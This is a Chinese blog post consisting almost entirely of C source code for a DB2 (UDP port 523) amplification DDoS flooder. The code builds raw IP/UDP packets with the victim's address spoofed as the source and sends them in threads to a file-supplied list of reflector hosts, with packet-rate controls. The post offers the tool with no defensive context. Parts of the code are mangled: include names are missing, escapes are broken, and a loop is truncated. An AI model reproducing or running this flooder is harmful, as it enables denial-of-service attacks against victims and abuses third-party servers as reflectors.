UDP-Based Amplification DDOS攻击.c 2021年8月7日 14:00 • 智能运维 /* DB2 Amplification */ #include #include #include #include #include #include #include #include #include #include #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 20; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(523); udph->check = 0; strcpy((void *)udph + sizeof(struct udphdr), "/x44/x42/x32/x47/x45/x54/x41/x44/x44/x52/x00/x53/x51/x4c/x30/x35/x30/x30/x30/x00"); udph->len=htons(sizeof(struct udphdr) + 20); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket./n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!/n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!/n"); fprintf(stdout, "Usage: %s /n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets.../n"); int max_len = 128; char *buffer = (char *) malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '/n') || (buffer[strlen(buffer) - 1] == '/r')) { buffer[strlen(buffer) - 1] = 0x00; if(head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr=inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr=inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for(i = 0;i maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } 原创文章,作者:Maggie-Hunter,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/56241.html 赞 (0) 0 0 生成海报 udp DDOS攻击.c 上一篇 2021年8月7日 14:00 UDP-Based Amplification DDOS攻击资源扫描 下一篇 2021年8月7日 14:00 相关推荐 SSL.TLS协议安全系列:再见,RC4 2021年8月7日 How to be Protected From Caffeine, A Shared Phishing-as-a-Service Platform (PhaaS) 2022年10月20日 VMware、Linux、CentOS区别和联系 2022年7月31日 Linux下 监控磁盘 内存 cpu脚本 以及发送邮件流程详解程序员 2021年7月16日 如何理解Linux内存管理中的RSS和VSZ 2021年11月20日 What Is Security Information And Event Management? 2022年6月24日 备份SQL Server数据库到Azure Storage 2021年11月2日 windows server打补丁升级 2022年8月20日 配置FTP服务器并设置主机权限 2021年11月1日 ubuntu主机apache不显示主机版本号设置 2021年7月25日 发表回复 请登录后评论...登录后才能评论 提交